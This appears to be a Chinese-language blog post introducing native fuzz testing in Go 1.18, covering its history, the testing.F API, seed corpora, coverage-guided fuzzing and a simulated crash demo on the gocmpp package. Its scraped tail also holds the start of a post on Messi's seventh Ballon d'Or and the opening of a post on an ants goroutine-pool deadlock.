golang.org/dl/gotip@latest // go 1.17版本及以后使用go install。go 1.16及之前的版本用go get $gotip download $gotip version // 验证安装是否ok 为什么Go要支持Fuzzing 无论是在过去的单机时代，还是在今天的云计算时代，亦或是已经出现苗头的人工智能时代，安全都是程序员在构建软件过程中必不可少且日益重要的考量因素。\n同时，安全也是Go语言设计者们在语言设计伊始就为Go设定的一个重要目标。在语言层面，Go提供了很多“安全保障”特性，比如：\n显式类型转换，不允许隐式转换； 针对数组、切片的下标越界访问的检查； 不安全代码隔离到unsafe包中，并提供安全使用unsafe包的几条rules； go module构建模式内置包hash校验，放置恶意包对程序的攻击； 雇佣安全专家，提供高质量且及时更新的crypto包，尽量防止使用第三方加解密包带来的不安全性； 支持纯静态编译，避免动态连接到恶意动态库； 原生提供方便测试的工具链，并支持测试覆盖率统计。 … … 进入云原生时代后，Go语言成为了云原生基础设施与云原生服务的头部语言，由Go语言建造的基础设施、中间件以及应用服务支撑着这个世界的很多重要系统的运行，这些系统对安全性的要求不言而喻。尤其是在“输入”方面，这些系统都会被要求：无论用户使用什么本文数据、二进制数据，无论用户如何构造协议包、无论用户提供的文件包含何种内容，系统都应该是安全健壮的，不会因为用户的故意攻击而出现处理异常、被操控，甚至崩溃。\n这就需要我们的系统面对任何输入的情况下都能正确处理，但传统的代码review、静态分析、人工测试和自动化的单元测试无法穷尽所有输入组合，尤其是难于模拟一些无效的、意料之外的、随机的、边缘的输入数据。\n于是，Go社区的一些安全方面的专家就尝试将业界在解决这方面问题的优秀实践引入Go，Fuzzing技术就是其中最重要的一个。\n什么是Fuzzing？ 说了这么半天，啥是Fuzzing？\nFuzzing，又叫fuzz testing，中文叫做模糊测试或随机测试。其本质上是一种自动化测试技术，更具体一点，它是一种基于随机输入的自动化测试技术，常被用于发现处理用户输入的代码中存在的bug和问题。\n在具体实现上，Fuzzing不需要像单元测试那样使用预先定义好的数据集作为程序输入，而是会通过数据构造引擎自行构造或基于开发人员提供的初始数据构造一些随机数据，并作为输入提供给我们的程序，然后监测程序是否出现panic、断言失败、无限循环等。这些构造出来的随机数据被称为语料(corpus)。另外Fuzz testing不是一次性执行的测试，如果不限制执行次数和执行时间，Fuzz testing会一直执行下去，因此它也是一种持续测试的技术。\nFuzzing技术形态最初的出现可追溯到以打孔卡承载的数据作为计算机输入的时代。那个时候开发人员经常从废纸篓里随便拿出几张打孔卡输入到自己的程序中来验证程序是否可以正确处理这些“随机”的输入。但Fuzzing测试作为一门技术理论走进广大开发者视野是始于1988年的Barton Miller教授的研究成果，\n当时任教于威斯康星大学的Barton Miller教授在高级操作系统研究生班（CS736）上的一个秋季项目中运用了随机测试技术，他通过fuzzing对一个UNIX工具进行测试，为该工具自动生成随机输入和命令行参数。该项目旨在通过快速连续执行大量的随机输入来测试UNIX命令行程序的可靠性，直到它们崩溃。当时Miller团队能够使他们所测试的实用程序中的25%至33%崩溃。然后，他们对每个崩溃的程序进行调试，以确定原因，并对每个检测到的故障进行分类。1990年，Miller团队对外发表了这一成果。自那以后，Fuzzing技术便确定了自己独立的研究分支，并逐渐发展演化到今天。在过去的十多年中，Fuzzing测试的技术水平有了很大的提高，以AFL(american fuzzy lop)、AFL++、libFuzzer、go-fuzz、syzkaller等开源项目为代表的Fuzzing项目已经被各种编程语言的开发人员应用于实践，并且取得了不错的“战绩”。\nFuzzing是对其他形式的测试、代码审查和静态分析的补充，它通过生成一个有趣的输入语料库，而这些输入几乎不可能用手去想去写出来，因此极易被传统类型的测试所遗漏。Fuzzing可以帮助开发人员发现难以发现的稳定性、逻辑性甚至是安全性方面的错误，特别是当被测系统变得更加复杂时。\n更为关键的，也是Fuzzing技术能够流行开来的原因是构建一个Fuzzing测试足够简单。有了上述Fuzzing相关开源工具和开源库的支持，Fuzzing test不再是需要专业知识才能成功使用的技术，并且现代Fuzzing引擎可以更有策略的、更快的、更有效地找到有用的输入语料。\nGo对Fuzzing技术支持的简要回顾 说过将Fuzzing技术引入Go，我们不能不提到一个人，它就是Go goroutine调度器的作者、前Intel Black Belt级工程师，现Google工程师的Dmitry Vyukov，它也是Go语言首个fuzzing工具go-fuzz的作者。\n2015年的GopherCon大会上，Dmitry Vyukov在其名为“[Go Dynamic Tools]”的presentation中就介绍了go-fuzz。我个人的gocmpp项目就是使用go-fuzz搭建的Fuzz test。\n之后，Dmitry Vyukov发现虽然通过第三方的fuzzing工具可以解决Go开发者关于Fuzzing的部分需求，但有很多功能特性是通过第三方工具无法实现的。2016年，Dmitry Vyukov在Go官方issue列表中创建“cmd/compile: coverage instrumentation for fuzzing”的issue归纳说明了这些问题，也是从那时开始，Dmitry Vyukov极力推进Fuzzing进入Go原生工具链的。\n2017年，Dmitry Vyukov首次提出希望在Go工具链中原生支持Fuzzing的Proposal，并给出了为什么我们需要在Go工具链的支持下使Fuzzing成为Go开发的标准做法的原因。\n之后，Dmitry还开源了一个名为syzkaller的项目，该项目用Go语言实现了一个针对操作系统内核的Fuzzing引擎。\nDmitry虽然是goroutine调度器的开发者，也是Google员工，但他却不是Go语言团队的一员，也许正是因为这样，又或是Go核心团队对新特性保持的一贯的谨慎态度，该Dmitry的提议一直处理讨论与反馈的状态，直到2020年中旬，Go安全团队的Katie Hockman才正式发布了在Go中原生支持Fuzzing的新提案。\n新提案与Dmitry的提案的目标是相同的，都是期望在Go工具链中加入对Fuzzing的原生支持。不同的是，新提案中的API稍微复杂一些，新提案允许以编程方式设置初始语料库的种子语料，并支持字节字符串以外的输入类型，包括原生的基本数据类型(整型、浮点、字符串等)、复合数据类型(数组、map、结构体等)以及实现了BinaryMarshaler/BinaryUnmarshaler或TextMarshaler/TextUnmarshaler接口的自定义类型。\n不过Go fuzzing没有如预期加入到Go 1.17版本中，再继续打磨了半年后，Go 1.18版本正式接受了原生支持Fuzzing这个特性，Fuzzing成为Go的“一等公民”。\n如何使用成为Go“一等公民”的Fuzzing 作为普通Go开发人员，我们无需关心Fuzzing引擎是如何实现的，我们只需根据Go提供的Fuzzing API使用就好了。前面也提到过了，Fuzzing技术之所以可以流行到现在，更多也是因为其使用起来十分简单。\nGo 1.18将fuzz testing纳入了go test工具链，与单元测试、性能基准测试等一起成为了Go原生测试工具链中的重要成员。\ngo fuzzing test的测试用例与普通的测试用例(TestXxx)、性能基准测试(BenchmarkXxx)等一样放在xx_test.go中，只不过用例对应的函数名样式换为了FuzzXxx了。一个简单的Fuzzing test用例如下：\nfunc FuzzXxx(f *testing.F) { // 设置种子语料(可选) // 执行Fuzzing f.Fuzz(func(t *testing.T, b []byte) { //... ... }) } 我们通过go test -fuzz命令即可执行所有xx_test.go中以Fuzz为前缀的Fuzz testing用例。不过这里要注意的是go test -fuzz会先进行普通TestXxx的用例执行，之后才会执行FuzzXxx。\n我们看到：每个FuzzXxx函数的参数列表是固定的，fuzzing在testing包中新增了一个F结构体类型，其与testing.T、testing.B是类似的，用于表示一次Fuzzing test的执行，结构体变量中存储了此次fuzzing test执行的上下文信息。\nFuzzXxx函数的最主要只能就是调用testing.F的Fuzz方法对目标函数/方法执行测试。testing.F的Fuzz方法接受一个函数类型的参数，按照fuzzing提案的说明，该函数的第一个参数必须是*testing.T，后面可以是多个输入参数，且输入参数的类型不局限于传统的byte切片，还可以是上面提到过的原生的基本数据类型(整型、浮点、字符串等)、复合数据类型(数组、map、结构体等)以及实现了BinaryMarshaler/BinaryUnmarshaler或TextMarshaler/TextUnmarshaler接口的自定义类型。\nFuzz方法会根据目标所需的输入参数类型生成fuzzing后的数据，并将这些数据作为输入参数传给其参数代表的函数。\nGo开发人员也可以通过testing.F的Add方法为fuzzing过程提供初始的种子语料(seed corpus)，后续fuzzing test会基于这些种子语料进行fuzzing，虽然这不是必须的，但提供与目标处理逻辑相关的种子语料，可能会加速被测目标中问题的暴露。\n当然我们也可以不通过testing.F的Add方法来提供种子语料，go fuzzing还允许你通过文件的形式为每个FuzzXxx函数提供种子语料，以FuzzXxx为例，我们可以在testdata/fuzz/FuzzXxx目录下以文件的形式放置其初始语料，比如：\n// testdata/fuzz/FuzzXxx/corpus1 go test fuzz v1 []byte(\u0026#34;ABC\\xa8\\x8c\\xb3G\\xfc\u0026#34;) 在这个种子语料文件中，第一行go test fuzz v1是go fuzzing要求的文件头，用于标识这是一个种子语料文件，并且使用的编解码器的版本为v1。而下面的一行则是种子语料，其实这行就是一个go代码的片段，fuzzing工具会将其解码后直接作为输入赋值给被测目标。后续的fuzzing过程也是基于这个种子语料的。注意：种子语料可以有很多个，不同语料单独放置在一行中即可。目前，这个种子语料文件需要手工编辑，后续go团队可能会提供相关工具以方便对种子语料文件的编辑，尤其是针对一些二进制数据的种子语料。\n下面我们用一个例子来看看如何使用go原生fuzzing。我这里还以我的gocmpp项目为例，对项目中的Submit消息的Unpack方法进行fuzz testing。\n我们先来看不提供初始种子语料的情况。\n不提供初始种子语料 虽说FuzzXxx测试用例可以与普通用例TestXxx放在一个xxx_test.go文件中，但例子中为了着重强调我们是在写Fuzz testing用例，我们将FuzzXxxx函数放在submit_fuzz_test.go中，下面是不显式提供初始种子语料的FuzzSubmit：\n// submit_fuzz_test.go //go:build go1.18 // +build go1.18 package cmpp_test import ( \u0026#34;testing\u0026#34; cmpp \u0026#34;github.com/bigwhite/gocmpp\u0026#34; ) func FuzzSubmit(f *testing.F) { f.Fuzz(func(t *testing.T, data []byte) { p := \u0026amp;cmpp.Cmpp2SubmitReqPkt{} _ = p.Unpack(data) }) } 我们看到，为了兼容go 1.18之前的版本，我们使用build指示符来告诉编译器这个文件只在go 1.18及后续版本才参与编译，这样go 1.17及之前的版本会ignore这个源文件。\n使用下面命令我们来运行一下这个fuzz test：\n$gotip test -v -fuzz . === RUN TestTypeString --- PASS: TestTypeString (0.00s) ... ... === RUN TestCmppTerminateRspPktPack --- PASS: TestCmppTerminateRspPktPack (0.00s) === RUN TestCmppTerminateRspUnpack --- PASS: TestCmppTerminateRspUnpack (0.00s) === FUZZ FuzzSubmit fuzz: elapsed: 0s, gathering baseline coverage: 0/38 completed fuzz: elapsed: 0s, gathering baseline coverage: 38/38 completed, now fuzzing with 8 workers fuzz: elapsed: 3s, execs: 403378 (134408/sec), new interesting: 0 (total: 38) fuzz: elapsed: 6s, execs: 800451 (132348/sec), new interesting: 0 (total: 38) fuzz: elapsed: 9s, execs: 1104435 (101366/sec), new interesting: 0 (total: 38) fuzz: elapsed: 12s, execs: 1346809 (80789/sec), new interesting: 0 (total: 38) fuzz: elapsed: 15s, execs: 1718297 (123747/sec), new interesting: 1 (total: 39) ^Cfuzz: elapsed: 16s, execs: 1771361 (92170/sec), new interesting: 1 (total: 39) --- PASS: FuzzSubmit (15.59s) PASS ok github.com/bigwhite/gocmpp 15.607s 通过上面的执行我们得到几点信息；\ngotip test -fuzz会先进行普通TestXxx的用例执行，之后才会执行FuzzXxx。 fuzz testing默认会一直执行下去，直到遇到crash。如果要限制fuzz testing的执行时间，可以使用-fuzztime，比如下面的命令允许fuzz testing只执行10s： $gotip test -v -fuzztime 10s -fuzz . 覆盖率引导的fuzzing 我们看到：测试输出内容中包含“gathering baseline coverage字样”，这里要告诉大家的是，go fuzzing使用的是一种名为“覆盖率引导的fuzzing(coverage-guided fuzzing)”。我们知道Fuzzing测试使用的是随机生成的随机数据对被测目标进行测试，如果仅仅是用凭空随机的方式生成的输入很难有效找到边缘情况，当今大多数现代的fuzzing工具都是用了coverage-guided fuzzing的引擎来驱动测试，它可以确定新生成的语料是否能覆盖到新的代码路径。Dmitry在“Fuzzing support for Go”一文中曾经对coverage-guided fuzzing的引擎的工作逻辑做过如下描述：\n从一些（可能是空的）输入的语料库开始 for { 从语料库中随机选择一个输入 对输入进行变异(mutate) 执行变异后的输入并收集代码覆盖率 如果该输入给出了新的覆盖率，则将其添加到语料库中 } 收集代码覆盖率数据和检测一个输入”给出新的覆盖率”并非易事，这也是为什么很多第三方fuzzing工具难于实现的原因，而加入到go原生工具链中，这些特性可借助Go编译器以及已有的设施来完成。\n缓存新加入的语料 在上面go test -fuzz执行过程中，新生成的可以覆盖新代码路径的语料放置在哪里了呢？Go fuzzing会将其缓存在cache路径下，我在本机的gocache路径下发现如下与fuzz有关的内容：\n//GOCACHE=\u0026#34;/Users/tonybai/Library/Caches/go-build\u0026#34; $ls /Users/tonybai/Library/Caches/go-build/fuzz/github.com/bigwhite/gocmpp/FuzzSubmit 01e40385855b3d317d42bf7ba4a9118702d867492fe2cd52bc84e554769480e5 06ba4bdb19de593e669c642987e270fe2488d4d58ecd712db136a3e011071253 086eabebec22d361087ce571571d86b1cbe1ad3e713f981473275f2c8fa64f09 ... ... go fuzzing会为每个FuzzXxx函数建立对应的语料缓存。目前fuzz cache的默认路径为$GOCACHE/fuzz/包路径/FuzzXxx，后续可能会提供环境变量或cmd option，以允许开发人员自定义fuzzing语料的缓存路径。\n前面我们说过，fuzzing test默认会一直执行下去，如果不限制执行次数和执行时间，执行Fuzzing test的机器要有足够的存储才行。而要想清理过多的fuzz缓存，用gotip clean -cache是不行的，需要为clean加上-fuzzcache才可以清除fuzz的cache。\n使用Add方法提供种子语料 下面是通过testing.F的Add方法为fuzzing test提供种子语料的例子：\n//go:build go1.18 // +build go1.18 package cmpp_test import ( \u0026#34;testing\u0026#34; cmpp \u0026#34;github.com/bigwhite/gocmpp\u0026#34; ) func FuzzSubmit(f *testing.F) { data := []byte{ 0x00, 0x00, 0x00, 0xbd, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x74, 0x65, 0x73, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x31, 0x33, 0x35, 0x30, 0x30, 0x30, 0x30, 0x32, 0x36, 0x39, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x39, 0x30, 0x30, 0x30, 0x30, 0x31, 0x30, 0x32, 0x31, 0x30, 0x00, 0x00, 0x00, 0x00, 0x31, 0x35, 0x31, 0x31, 0x30, 0x35, 0x31, 0x33, 0x31, 0x35, 0x35, 0x35, 0x31, 0x30, 0x31, 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x30, 0x30, 0x30, 0x30, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x31, 0x33, 0x35, 0x30, 0x30, 0x30, 0x30, 0x32, 0x36, 0x39, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1e, 0x6d, 0x4b, 0x8b, 0xd5, 0x00, 0x67, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6d, 0x00, 0x70, 0x00, 0x70, 0x00, 0x20, 0x00, 0x73, 0x00, 0x75, 0x00, 0x62, 0x00, 0x6d, 0x00, 0x69, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, } f.Add(data[8:]) f.Fuzz(func(t *testing.T, data []byte) { p := \u0026amp;cmpp.Cmpp2SubmitReqPkt{} _ = p.Unpack(data) }) } 在上面代码中，我们使用了一个正确的cmpp2 submit消息包的数据作为种子语料，后续fuzzing会基于该语料做mutate，生成其他语料对Submit的Unpack方法进行测试。执行该fuzz test的输出与不设置种子语料的输出差别不大：\n$gotip test -fuzz . fuzz: elapsed: 0s, gathering baseline coverage: 0/1 completed fuzz: elapsed: 0s, gathering baseline coverage: 1/1 completed, now fuzzing with 8 workers fuzz: elapsed: 3s, execs: 395490 (131760/sec), new interesting: 20 (total: 20) fuzz: elapsed: 6s, execs: 795164 (133251/sec), new interesting: 22 (total: 22) fuzz: elapsed: 9s, execs: 1106761 (103875/sec), new interesting: 22 (total: 22) ^Cfuzz: elapsed: 11s, execs: 1281577 (92654/sec), new interesting: 22 (total: 22) PASS ok github.com/bigwhite/gocmpp 10.917s 使用testdata/fuzz/FuzzXxx目录提供种子语料 除了通过Add方法添加种子语料外，我们还可以在项目的testdata/fuzz/FuzzXxx目录下为FuzzXxx用例提供种子语料：\n$tree testdata testdata └── fuzz └── FuzzSubmit └── corpus1 $cat testdata/fuzz/FuzzSubmit/corpus1 go test fuzz v1 []byte(\u0026#34;ABC\\xa8\\x8c\\xb3G\\xfc\u0026#34;) 我们把FuzzSubmit代码恢复为不带有Add的形式：\nfunc FuzzSubmit(f *testing.F) { f.Fuzz(func(t *testing.T, data []byte) { p := \u0026amp;cmpp.Cmpp2SubmitReqPkt{} _ = p.Unpack(data) }) } 执行这一用例，输出入下结果：\n$gotip test -fuzz . fuzz: elapsed: 0s, gathering baseline coverage: 0/23 completed fuzz: elapsed: 0s, gathering baseline coverage: 23/23 completed, now fuzzing with 8 workers fuzz: elapsed: 3s, execs: 355689 (118485/sec), new interesting: 3 (total: 25) fuzz: elapsed: 6s, execs: 623934 (89390/sec), new interesting: 5 (total: 27) fuzz: elapsed: 9s, execs: 756400 (44154/sec), new interesting: 5 (total: 27) ^Cfuzz: elapsed: 10s, execs: 771910 (28387/sec), new interesting: 5 (total: 27) PASS ok github.com/bigwhite/gocmpp 9.564s 模拟crash Fuzzing技术作为其他测试的一种补充，可以用于发现代码中潜在的不易被发现的问题，但这一过程有时候也是很漫长的。因此在这里我们模拟一个crash的产生来看看：当fuzzing test过程中发现代码bug时，fuzzing都做了那些事情。\n我们在被测方法Unpack中故意放置了一个panic语句：\n// submit.go func (p *Cmpp2SubmitReqPkt) Unpack(data []byte) error { ... ... panic(\u0026#34;panic for fuzz demo\u0026#34;) ... ... } 这样，当fuzzing test执行到这里时Unpack方法就会panic，而fuzzing会生成crash报告并终止fuzz testing执行。\n但要注意的是：go test -fuzz是先运行TestXxx，然后再运行FuzzXxx的，如果在TestXxx中发生了panic，那么go fuzzing是不会生成crash报告的。另外还有一点要格外注意：go fuzzing将种子语料作为输入时出现的panic也是不会生成crash报告的，因为，此时对数据的fuzzing还没有真正开始。因此，这里我们使用上面那个不带有种子语料的FuzzSubmit。\n好了，我们执行一下fuzzing test：\n$gotip test -fuzz . fuzz: elapsed: 0s, gathering baseline coverage: 0/27 completed fuzz: minimizing 148-byte crash file fuzz: elapsed: 0s, gathering baseline coverage: 0/27 completed --- FAIL: FuzzSubmit (0.03s) --- FAIL: FuzzSubmit (0.00s) testing.go:1319: panic: panic for fuzz demo goroutine 49 [running]: runtime/debug.Stack() /Users/tonybai/sdk/gotip/src/runtime/debug/stack.go:24 +0x90 testing.tRunner.func1() /Users/tonybai/sdk/gotip/src/testing/testing.go:1319 +0x1f2 panic({0x11ca860, 0x1241148}) /Users/tonybai/sdk/gotip/src/runtime/panic.go:838 +0x207 github.com/bigwhite/gocmpp.(*Cmpp2SubmitReqPkt).Unpack(0xc00025a5a0, {0xc000024400, 0x1, 0x80}) /Users/tonybai/Go/src/github.com/bigwhite/gocmpp/submit.go:262 +0x625 github.com/bigwhite/gocmpp_test.FuzzSubmit.func1(0x0?, {0xc000024400, 0x1, 0x80}) /Users/tonybai/Go/src/github.com/bigwhite/gocmpp/submit_fuzz_test.go:32 +0x45 reflect.Value.call({0x11ccf40?, 0x12111c8?, 0x13?}, {0x1200df5, 0x4}, {0xc000217080, 0x2, 0x2?}) /Users/tonybai/sdk/gotip/src/reflect/value.go:543 +0x814 reflect.Value.Call({0x11ccf40?, 0x12111c8?, 0x10f9980?}, {0xc000217080, 0x2, 0x2}) /Users/tonybai/sdk/gotip/src/reflect/value.go:339 +0xbf testing.(*F).Fuzz.func1.1(0x0?) /Users/tonybai/sdk/gotip/src/testing/fuzz.go:327 +0x20b testing.tRunner(0xc000201860, 0xc0003a0900) /Users/tonybai/sdk/gotip/src/testing/testing.go:1409 +0x102 created by testing.(*F).Fuzz.func1 /Users/tonybai/sdk/gotip/src/testing/fuzz.go:316 +0x5b8 Crash written to testdata/fuzz/FuzzSubmit/582528ddfad69eb57775199a43e0f9fd5c94bba343ce7bb6724d4ebafe311ed4 To re-run: go test github.com/bigwhite/gocmpp -run=FuzzSubmit/582528ddfad69eb57775199a43e0f9fd5c94bba343ce7bb6724d4ebafe311ed4 FAIL exit status 1 FAIL github.com/bigwhite/gocmpp 0.037s 我们看到go fuzzing在执行第一个测试时就发生了crash，fuzzing将crash输出了crash报告，并将引发这一crash的语料放入了testdata/fuzz/FuzzSubmit目录下：\n$tree testdata testdata └── fuzz └── FuzzSubmit └── 582528ddfad69eb57775199a43e0f9fd5c94bba343ce7bb6724d4ebafe311ed4 查看一下引发crash的语料：\n$cat testdata/fuzz/FuzzSubmit/582528ddfad69eb57775199a43e0f9fd5c94bba343ce7bb6724d4ebafe311ed4 go test fuzz v1 []byte(\u0026#34;0\u0026#34;) 如果是真实的fuzz测试引发了crash，我们可以将该语料提取出来，建立针对它的TestXxx或为现有TestXxx添加一条测试数据来验证目标方法是否真实存在缺陷，如果的确存在缺陷，我们就需要修复它，并在修复后再次运行TestXxx，以保证我们的修复是有效的。\n小结 在即将到来的Go 1.18中，Go fuzzing将正式成为Go的“一等公民”，Go将原生支持Fuzzing。不过Go fuzzing刚刚加入，可能还存在各种问题，根据以往经验，在2-3个版本后，go fuzzing必将成熟稳定起来，到那时，Gopher们就又拥有了一柄挖掘潜在bug和安全问题的利器了。\n参考资料 《Fuzzing in Go》 – https://lwn.net/Articles/829242/ 《Fuzzing is Beta Ready》 – https://go.dev/blog/fuzz-beta 《Design Draft: First Class Fuzzing》 – https://golang.org/s/draft-fuzzing-design issue: testing: add fuzz test support – https://github.com/golang/go/issues/44551 Fuzz testing doc – https://pkg.go.dev/testing@master#hdr-Fuzzing 《Go语言随机测试工具go-fuzz》 – http://tonybai.com/2015/12/08/go-fuzz-intro/ 维基百科Fuzzing – https://en.wikipedia.org/wiki/Fuzzing Fuzzing introduction by OWASP – https://owasp.org/www-community/Fuzzing Fuzzing support for Go – https://docs.google.com/document/u/1/d/1zXR-TFL3BfnceEAWytV8bnzB2Tfp6EPFinWVJ5V4QC8/pub Go播客：深入研究Fuzzing及Go官方Fuzzing提案 – https://changelog.com/gotime/145 “Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强，欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/first-class-fuzzing-in-go-1-18-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18\"\u003ehttps://tonybai.com/2021/12/01/first-class-fuzzing-in-go-1-18\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e今年6月初，Go官博发表了一篇名为\u003ca href=\"https://go.dev/blog/fuzz-beta\"\u003e《Fuzzing is Beta Ready》\u003c/a\u003e的文章，文中称\u003ca href=\"https://tip.golang.org\"\u003egotip版本\u003c/a\u003e已经原生支持\u003ca href=\"https://en.wikipedia.org/wiki/Fuzzing\"\u003eFuzzing\u003c/a\u003e并开始了公测。这意味着Fuzzing将以一等公民(first-class citizen)的身份正式加入到即将于2022年2月发布的\u003ca href=\"https://mp.weixin.qq.com/s/_4p1wyo3eKEaCU_9GNdkLA\"\u003eGo 1.18版本\u003c/a\u003e中：\u003c/p\u003e","title":"Go 1.18新特性前瞻：原生支持Fuzzing测试"},{"content":"\n本文永久链接 – https://tonybai.com/2021/11/30/leo-messi-win-his-seventh-ballondor\n北京时间今天凌晨4:30，梅西获得了由“法国足球”杂志颁发的2021年男子足球金球奖。\n梅西赢得2021法国足球杂志金球奖\n在2021年之前，梅西曾经在2009年、2010年、2011年、2012年、2015年和2019年六次赢得金球奖，这是梅西第七次获得该项殊荣，再次刷新了由他个人保持的得奖次数最多的纪录，进一步夯实了其金球之王的地位。\n梅西，金球之王\n在上赛季中，梅西为巴萨出场48次，他打进38球助攻18次，帮助巴萨赢得西班牙国王杯，他自己也成为了西甲射手王。在今夏美洲杯中，梅西4次进球5次助攻，他帮助阿根廷队时隔28年后再次夺得大赛冠军，并当选为大赛MVP，这也是梅西为阿根廷国家队获得的首次大赛冠军。一般认为，这一冠军在梅西获得的此次金球奖中占据了至关重要的分量。\n综上，梅西此次再次摘取金球是实至名归的！\n好了，现在终于可以召唤神龙了!\n梅老板用七个金球召唤神龙\n阿根廷队目前已经以南美区世预赛第二名的身份晋级明年的卡塔尔世界杯决赛圈，相信有神龙护体的阿根廷队、团结一致的阿根廷队、有全世界最广大阿迷的支持的阿根廷队，特别是有梅西作为队长的阿根廷队，在2022年世界杯上会走到最后！加油，梅老板！加油，阿根廷！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/11/30/leo-messi-win-his-seventh-ballondor/","summary":"\u003cp\u003e\u003cimg alt=\"img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/leo-messi-win-his-seventh-ballondor-2.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/11/30/leo-messi-win-his-seventh-ballondor\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/11/30/leo-messi-win-his-seventh-ballondor\"\u003ehttps://tonybai.com/2021/11/30/leo-messi-win-his-seventh-ballondor\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e北京时间今天凌晨4:30，梅西获得了由\u003ca href=\"https://www.francefootball.fr\"\u003e“法国足球”杂志\u003c/a\u003e颁发的2021年\u003ca href=\"https://www.francefootball.fr/ballon-d-or/\"\u003e男子足球金球奖\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/leo-messi-win-his-seventh-ballondor-4.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e梅西赢得2021法国足球杂志金球奖\u003c/p\u003e\n\u003cp\u003e在2021年之前，梅西曾经在2009年、2010年、2011年、2012年、2015年和2019年六次赢得金球奖，这是梅西第七次获得该项殊荣，再次刷新了由他个人保持的得奖次数最多的纪录，进一步夯实了其\u003ca href=\"https://tonybai.com/2013/01/08/leomessi-the-king-of-ballon-dor/\"\u003e金球之王\u003c/a\u003e的地位。\u003c/p\u003e","title":"梅西凑齐七个金球成功召唤神龙"},{"content":"\n本文永久链接 – https://tonybai.com/2021/11/27/ants-call-submit-in-submit-may-cause-blocking\n1. goroutine pool的必要性 Go在并发程序方面的一个小创新就是支持轻量级用户线程goroutine，不过虽然goroutine很轻，但并不是免费的，尤其是Go程序中存在大量goroutine反复启停时(比如采用每连接一个goroutine的处理http短连接的http server，在大并发的情况下就是如此)，Go运行时启停和调度goroutine的开销还是蛮大的。这个时候我们对goroutine pool的需求就诞生了。\ngoroutine pool减小开销的主要思路就是复用：即创建出的goroutine在做完一个task后不退出，而是等待下一个task，这样来减少goroutine反复创建和销毁带来的开销。除此之外，由于goroutine已经被创建，当任务到达时，可以不需要等待goroutine创建就能立即执行，提高响应速度。并且通过goroutine pool，我们还可以严格控制启动的goroutine的数量，避免因外部条件变化带来的goroutine数量的暴涨与暴跌。\n在Go社区中，优秀的goroutine pool的实现有不少，Andy Pan开源的ants就是其中之一。根据ants在github上的当前状态来看，它在Go社区范围的应用很广泛，Andy Pan对issue的响应也是十分快的。这也是我们在项目中引入ants的原因。\n这篇文章要写的就是我们在使用ants过程中遇到的问题，以及对问题的简单分析与解决过程，这里分享出来的目的也是希望大家能避免遇到同类问题。\n2. 问题描述 我们在对系统进行压测时，发现系统出现了“死锁”。经过查找，我们将问题锁定在对ants包的使用上面了。我们的工程师使用ants时，在传给Pool.Submit方法的task函数中又调用了同一个Pool的Submit方法。之后他便用下面代码复现了这个问题：\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;time\u0026#34; 